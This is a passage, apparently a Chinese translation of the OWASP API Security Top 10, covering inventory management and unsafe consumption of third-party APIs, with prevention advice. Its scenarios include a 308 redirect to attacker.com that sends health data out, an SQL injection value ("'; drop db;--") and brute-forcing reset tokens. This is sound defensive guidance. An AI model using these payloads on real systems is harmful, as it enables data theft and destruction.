- 谁应该有权限访问 API 网络(例如公众、内部人员、合作伙伴)?
- 运行的是哪个 API 版本?
- 没有文档或现有文档未更新。
- 每个 API 版本都没有报废计划。
- 主机清单丢失或过时。
万一发生第三方泄露事件,敏感数据流的可见性和清单将作为事件响应计划的重要组成部分发挥关键作用。
当满足以下条件时,说明 API 存在“数据流盲点”:
- API 通过“敏感数据流”与第三方共享敏感数据,且
- 该数据流没有合理的商业理由或批准
- 没有该数据流的清单或可见性
- 对所共享的敏感数据类型没有深入了解。
攻击场景示例
场景一
某社交网络实施了一种限速机制,该机制可以阻止攻击者使用暴力破解法来猜测重置密码令牌。但这个机制并未作为 API 代码的一部分来实现,而是在客户端和官方 API 之间的一个独立组件中实现。一位研究人员发现了一个测试版 API 主机,该主机运行着相同的 API,包括密码重置机制,但并未设置限速机制。研究人员能够通过简单的暴力破解法猜测 6 位数字令牌,从而重置任何用户的密码。
场景二
某社交网络允许独立应用开发者与其进行集成。作为此过程的一部分,会向终端用户请求同意,以便社交网络可以与独立应用共享用户的个人信息。
社交网络与独立应用之间的数据流并没有足够的限制或监控,这使得独立应用不仅可以访问用户信息,还可以访问其所有朋友的私人信息。
一家咨询公司开发了一款恶意应用,并成功获得了 270,000 名用户的同意。由于这一漏洞,咨询公司得以获取 50,000,000 名用户的私人信息。随后,该咨询公司出于恶意目的将这些信息出售。
如何预防
- 清单管理:对所有 API 主机进行盘点,并记录每个主机的关键信息,特别是 API 环境(例如生产、演示、测试、开发环境)、哪些用户应该有网络访问权限(例如公众、内部人员、合作伙伴)以及 API 版本。
- 服务整合:对集成的服务进行盘点,并记录其重要特征,如它们在系统中的作用、交换的数据内容(数据流)及其敏感性。
- 文档记录:全面记录 API 的各个方面,包括身份验证、错误处理、重定向、速率限制、跨源资源共享(CORS)策略以及端点信息,包含它们的参数、请求和响应。
- 自动文档:采用开放标准自动生成文档,并将文档构建纳入持续集成/持续部署(CI/CD)流程中。
- 访问控制:仅向授权使用 API 的人员提供 API 文档。
- 外部保护:对所有暴露的 API 版本(而不仅仅是当前生产版本)使用外部保护措施,如专门的 API 安全解决方案。
- 数据隔离:避免在非生产环境的API部署中使用生产数据。如果无法避免,则应对这些端点采取与生产环境相同的安全措施。
- 风险评估:当新版本的 API 包含安全改进时,进行风险评估,以确定对旧版本所需采取的缓解措施。例如,是否可以在不破坏 API 兼容性的情况下回退这些
10、不安全的 API 使用
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易受攻击 | 普遍存在:中等检测难度 | 严重技术问题:特定于业务 |
攻击者需识别并可能破坏与目标 API 集成的其他 API/服务。通常这些信息不公开或集成的API/服务不易受攻击。 | 开发者往往信任而不验证与外部或第三方 API 交互的端点,依赖于较弱的安全要求,如传输安全、身份验证/授权、输入验证和清理。 | 影响因目标 API 处理拉取数据的方式而异。成功利用此漏洞可能导致敏感信息泄露给未经授权的参与者、各种注入攻击或服务拒绝。 |
API是否易受攻击?
开发者往往比用户输入更信任从第三方 API 接收的数据,特别是知名公司提供的 API。因此,开发者在输入验证和清理方面往往会采用较弱的安全标准。
在以下情况下,API 可能易受攻击:
- 通过未加密的通道与其他 API 交互;
- 在处理从其他 API 收集的数据或将其传递给下游组件之前,没有进行适当的验证和清理;
- 盲目地遵循重定向;
- 没有限制处理第三方服务响应的可用资源数量;
- 没有为与第三方服务的交互实施超时。
攻击场景示例
场景一
一个 API 依赖于第三方服务来补充用户提供的商业地址。当用户向 API 提供地址时,该地址将被发送到第三方服务,然后返回的数据将存储在启用了 SQL 的本地数据库中。
恶意行为者利用第三方服务将与他们创建的业务相关的 SQLi 有效载荷存储起来的特点,通过提供特定的输入来攻击易受攻击的 API,使其从第三方服务中提取他们的“恶意业务”。最终 SQLi 有效载荷被数据库执行,将数据泄露给攻击者控制的服务器。
场景二
一个 API 与第三方服务提供商集成,以安全地存储敏感的用户医疗信息。数据通过安全的连接发送,使用的是如下的 HTTP 请求:
POST /user/store_phr_record
{
"genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
恶意行为者找到了破坏第三方 API 的方法,并开始对类似上述的请求回应 308 永久重定向。
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
由于 API 盲目地遵循第三方的重定向,它将重复完全相同的请求,包括用户的敏感数据,且请求会发送到攻击者的服务器。
场景三
攻击者可以准备一个名为 '; drop db;--
的 git 存储库。
现在,当受攻击的应用程序与恶意存储库进行集成时,那些认为存储库名称是安全输入的应用程序,会构建 SQL 查询并使用 SQL 注入有效载荷。
如何预防
- 服务提供商时,要检查他们的 API 安全状况。
- 确保所有 API 交互都通过安全的通信渠道(TLS)进行。
- 在使用从集成 API 接收的数据之前,始终要进行验证和适当的清理。
- 维护一个集成 API 可能重定向到的知名位置的允许列表:不要盲目地遵循重定向。
更多 API 管理及 API 全生命周期相关内容可以在我的 Notion 查看,我将会持续更新:API 全生命周期管理资料